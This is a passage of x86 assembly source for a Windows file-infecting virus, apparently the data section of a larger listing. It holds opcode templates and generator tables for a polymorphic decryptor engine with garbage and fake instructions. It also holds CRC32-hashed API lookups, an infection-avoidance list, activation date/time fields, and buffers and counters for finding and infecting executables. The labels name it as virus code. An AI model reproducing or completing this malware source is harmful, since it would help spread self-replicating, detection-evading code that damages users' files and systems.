x_inc_reg_word  db 02h,66h,48h,MAGIC_ENDSTR
x_inc_reg_dword db 01h,48h,MAGIC_ENDSTR
x_dec_reg_byte  db 02h,0FEh,0C0h,MAGIC_ENDSTR
x_dec_reg_word  db 02h,66h,40h,MAGIC_ENDSTR
x_dec_reg_dword db 01h,40h,MAGIC_ENDSTR
x_not_reg_byte  db 02h,0F6h,0D0h,MAGIC_ENDSTR
x_not_reg_word  db 03h,66h,0F7h,0D0h,MAGIC_ENDSTR
x_not_reg_dword db 02h,0F7h,0D0h,MAGIC_ENDSTR
x_add_reg_byte  db 01h,2Ch,MAGIC_ENDKEY
x_add_reg_word  db 02h,66h,2Dh,MAGIC_ENDKEY
x_add_reg_dword db 01h,2Dh,MAGIC_ENDKEY
x_sub_reg_byte  db 01h,04h,MAGIC_ENDKEY
x_sub_reg_word  db 02h,66h,05h,MAGIC_ENDKEY
x_sub_reg_dword db 01h,05h,MAGIC_ENDKEY
x_xor_reg_byte  db 01h,34h,MAGIC_ENDKEY
x_xor_reg_word  db 02h,66h,35h,MAGIC_ENDKEY
x_xor_reg_dword db 01h,35h,MAGIC_ENDKEY

                ;------------------------------------------------------------
                ;Format for each style-table entry:
                ;
                ; 00h -> DWORD -> Address of generator
                ; 04h -> DWORD -> Address of generated subroutine or
                ;                 00000000h if not yet generated
                ;
                ;------------------------------------------------------------

style_table     equ $

                dd offset gen_load_ptr
                dd 00000000h

                dd offset gen_load_ctr
                dd 00000000h

                dd offset gen_decrypt
                dd 00000000h

                dd offset gen_next_step
                dd 00000000h

                dd offset gen_next_ctr
                dd 00000000h

                ;------------------------------------------------------------
                ;Garbage code generators
                ;------------------------------------------------------------

tbl_garbage     equ $

                dd offset gen_save_code		;clc stc cmc cld std
                dd offset g_movreg32imm         ;mov reg32,imm
                dd offset g_movreg16imm         ;mov reg16,imm
                dd offset g_movreg8imm          ;mov reg8,imm
		dd offset g_xchgregreg32	;xchg reg32,reg32
		dd offset g_xchgregreg16	;xchg reg16,reg16
		dd offset g_xchgregreg8		;xchg reg8,reg8
                dd offset g_movregreg32         ;mov reg32,reg32
                dd offset g_movregreg16         ;mov reg16,reg16
		dd offset g_movregreg8          ;mov reg8,reg8
		dd offset g_inc_reg32		;inc reg32
		dd offset g_inc_reg16		;inc reg16
		dd offset g_inc_reg8		;inc reg8
		dd offset g_dec_reg32		;dec reg32
		dd offset g_dec_reg16		;dec reg16
		dd offset g_dec_reg8		;dec reg8
                dd offset g_mathregimm32        ;math reg32,imm
                dd offset g_mathregimm16        ;math reg16,imm
                dd offset g_mathregimm8         ;math reg8,imm
                dd offset g_movzx_movsx         ;movzx/movsx reg32,reg16

save_space	equ $

		dd offset gen_mov_mem32		;mov mem,reg32
		dd offset gen_mov_mem16		;mov mem,reg16
		dd offset gen_mov_mem8		;mov mem,reg8
		dd offset gen_add_mem32		;add mem,reg32
		dd offset gen_add_mem16		;add mem,reg16
		dd offset gen_add_mem8		;add mem,reg8
		dd offset gen_sub_mem32		;sub mem,reg32
		dd offset gen_sub_mem16		;sub mem,reg16
		dd offset gen_sub_mem8		;sub mem,reg8
		dd offset gen_adc_mem32		;adc mem,reg32
		dd offset gen_adc_mem16		;adc mem,reg16
		dd offset gen_adc_mem8		;adc mem,reg8
		dd offset gen_sbb_mem32		;sbb mem,reg32
		dd offset gen_sbb_mem16		;sbb mem,reg16
		dd offset gen_sbb_mem8		;sbb mem,reg8
		dd offset gen_or_mem32		;or mem,reg32
		dd offset gen_or_mem16		;or mem,reg16
		dd offset gen_or_mem8		;or mem,reg8
		dd offset gen_and_mem32		;and mem,reg32
		dd offset gen_and_mem16		;and mem,reg16
		dd offset gen_and_mem8		;and mem,reg8
		dd offset gen_xor_mem32		;xor mem,reg32
		dd offset gen_xor_mem16		;xor mem,reg16
		dd offset gen_xor_mem8		;xor mem,reg8
                dd offset g_push_g_pop          ;push reg/garbage/pop reg
                dd offset g_call_cont           ;call/garbage/pop
                dd offset g_jump_u              ;jump/rnd block
                dd offset g_jump_c              ;jump conditional/garbage				
		dd offset gen_fake_crypt	;fake decryptor instruction

end_garbage     equ $

                ;------------------------------------------------------------
		;Generators of code that does not change register contents
                ;------------------------------------------------------------

tbl_free		equ $

			dd offset g_save_jump
			dd offset gen_save_code

end_free		equ $
				
;----------------------------------------------------------------------------
;CRC32 of API names
;----------------------------------------------------------------------------

CrcKernel32		dd 00000000h ;CRC32 of KERNEL dll name

CrcGetProcAddr		dd 00000000h ;This API takes special care

CRC32K32Apis		dd NumK32Apis dup (00000000h)

CRC32SFCApis		dd NumSFCApis dup (00000000h)

;----------------------------------------------------------------------------
;Avoid some files from being infected
;----------------------------------------------------------------------------

avoid_tbl		dd avoid_num dup (00000000h)

;----------------------------------------------------------------------------
;Activation date/time for this virus copy
;----------------------------------------------------------------------------

activate_month		dw 0000h
activate_day		dw 0000h
activate_hour		dw 0000h

;----------------------------------------------------------------------------
;End of CRC32 protected area
;----------------------------------------------------------------------------

SizeOfProtect		equ $-CRC_protected

;----------------------------------------------------------------------------
;End of virus image in files
;----------------------------------------------------------------------------

inf_size		equ $-viro_sys

;----------------------------------------------------------------------------
;Seed for random number generator
;----------------------------------------------------------------------------

rnd32_seed      	dd 00000000h

;----------------------------------------------------------------------------
;CRC32 lookup table
;----------------------------------------------------------------------------

tbl_crc32		dd 0100h dup (00000000h)

;----------------------------------------------------------------------------
;KERNEL32 API's
;----------------------------------------------------------------------------

;GetProcAddress API takes special care

a_GetProcAddress	dd 00000000h

epK32Apis		equ $

a_CreateFileA		dd 00000000h
a_CreateFileMappingA	dd 00000000h
a_CloseHandle		dd 00000000h
a_FindClose		dd 00000000h
a_FindFirstFileA	dd 00000000h
a_FindNextFileA		dd 00000000h
a_FreeLibrary		dd 00000000h
a_GetCurrentDirectoryA	dd 00000000h
a_GetCurrentProcess	dd 00000000h
a_GetFileAttributesA	dd 00000000h
a_GetLocalTime		dd 00000000h
a_GetSystemDirectoryA	dd 00000000h
a_GetVersionEx		dd 00000000h
a_GetWindowsDirectoryA	dd 00000000h
a_LoadLibraryA		dd 00000000h
a_MapViewOfFile		dd 00000000h
a_SetEndOfFile		dd 00000000h
a_SetFileAttributesA	dd 00000000h
a_SetFilePointer	dd 00000000h
a_SetFileTime		dd 00000000h
a_UnmapViewOfFile	dd 00000000h
a_VirtualAlloc		dd 00000000h
a_WriteProcessMemory	dd 00000000h

NumK32Apis		equ ($-epK32Apis)/04h

hKERNEL32		dd 00000000h

;----------------------------------------------------------------------------
;This buffer resides here because is used before memory allocation
;----------------------------------------------------------------------------

BufStrFilename		db MAX_PATH dup (00000000h)

;----------------------------------------------------------------------------
;End of virus virtual image
;----------------------------------------------------------------------------

size_virtual		equ $-viro_sys

;----------------------------------------------------------------------------
;ADVAPI32.DLL APIs used by the virus
;----------------------------------------------------------------------------

epSFCApis		equ $

a_SfcIsFileProtected	dd 00000000h

NumSFCApis		equ ($-epSFCApis)/04h

hSFCDLL			dd 00000000h

;----------------------------------------------------------------------------
;Misc variables
;----------------------------------------------------------------------------

map_is_here		dd 00000000h
FileImport		dd 00000000h
ImportSH		dd 00000000h
inject_offs		dd 00000000h
vir_offset		dd 00000000h
search_raw		dd 00000000h
host_base		dd 00000000h
virus_sh		dd 00000000h
fix_size		dd 00000000h
raw_align		dd 00000000h
K32CodeStart		dd 00000000h
K32CodeEnd		dd 00000000h
KeySize			dd 00000000h
KeyValue		dd 00000000h

NumInfected		db 00

;----------------------------------------------------------------------------
;Poly engine uninitialized data
;----------------------------------------------------------------------------

CRYPT_DIRECTION equ 01h
CRYPT_CMPCTR    equ 02h
CRYPT_CDIR      equ 04h
CRYPT_SIMPLEX   equ 10h
CRYPT_COMPLEX   equ 20h

PtrToCrypt	dd 00000000h	;Pointer to area to encrypt
PtrToDecrypt	dd 00000000h	;Where to generate polymorphic decryptor
PtrToEP		dd 00000000h	;Pointer to code entry-point once decrypted
SizeCrypt	dd 00000000h	;Size of area to encrypt
end_value       dd 00000000h    ;Index end value
loop_point      dd 00000000h    ;Start address of decryption loop
entry_point     dd 00000000h    ;Entry point to decryptor code
decryptor_size  dd 00000000h    ;Size of generated decryptor
disp2disp	dd 00000000h    ;Displacement over displacement 

counter_mask    db 00h          	;Mask of register used as counter
recursive_level db 00h          	;Garbage recursive layer
IsFirst		db 00h			;Save registers only on 1st decryptor

fake_field			equ $

ptr_disp		dd 00000000h    ;Displacement from index
fake_ptr_disp		dd 00000000h	;...and fake one

crypt_key		dd 00000000h    ;Encryption key
fake_crypt_key		dd 00000000h	;...and fake one

build_flags		db 00h          ;Some decryptor flags
fake_build_flags	db 00h		;...and fake ones

oper_size		db 00h          ;Size used (1=Byte 2=Word 4=Dword)
fake_oper_size		db 00h		;...and fake one

index_mask		db 00h          ;Mask of register used as index
fake_index_mask		db 00h		;...and fake one

NUM_DA			equ 10h

NumberOfDataAreas	db 00h

tbl_data_area		db NUM_DA*08h dup (00h)

;----------------------------------------------------------------------------
;Structure used by GetVersionEx
;----------------------------------------------------------------------------

system_version		equ $

dwOSVersionInfoSize	dd 00000000h
dwMajorVersion		dd 00000000h
dwMinorVersion		dd 00000000h
dwBuildNumber		dd 00000000h
dwPlatformId		dd 00000000h

szCSDVersion		db 80h dup (00h)

;----------------------------------------------------------------------------
;SYSTEMTIME structure used by GetLocalTime
;----------------------------------------------------------------------------

local_time		equ $

LT_Year			dw 0000h
LT_Month		dw 0000h
LT_DayOfWeek		dw 0000h
LT_Day			dw 0000h
LT_Hour			dw 0000h
LT_Minute		dw 0000h
LT_Second		dw 0000h
LT_Milliseconds		dw 0000h

;----------------------------------------------------------------------------
;Information about currently opened file
;----------------------------------------------------------------------------

CurFileAttr		dd 00000000h
h_CreateFile		dd 00000000h
h_FileMap		dd 00000000h
h_Key			dd 00000000h

;----------------------------------------------------------------------------
;This is a WIN32 FindData structure used to infect files
;----------------------------------------------------------------------------

h_Find			dd 00000000h
DirectFindData		db SIZEOF_WIN32_FIND_DATA dup (00h)

;----------------------------------------------------------------------------
;Used to retrieve current, windows and system directories
;----------------------------------------------------------------------------

BufGetDir		db MAX_PATH	dup (00000000h)

;----------------------------------------------------------------------------
;End of virus image in allocated memory
;----------------------------------------------------------------------------

alloc_size		equ $-viro_sys

virseg          ends
                end host_code
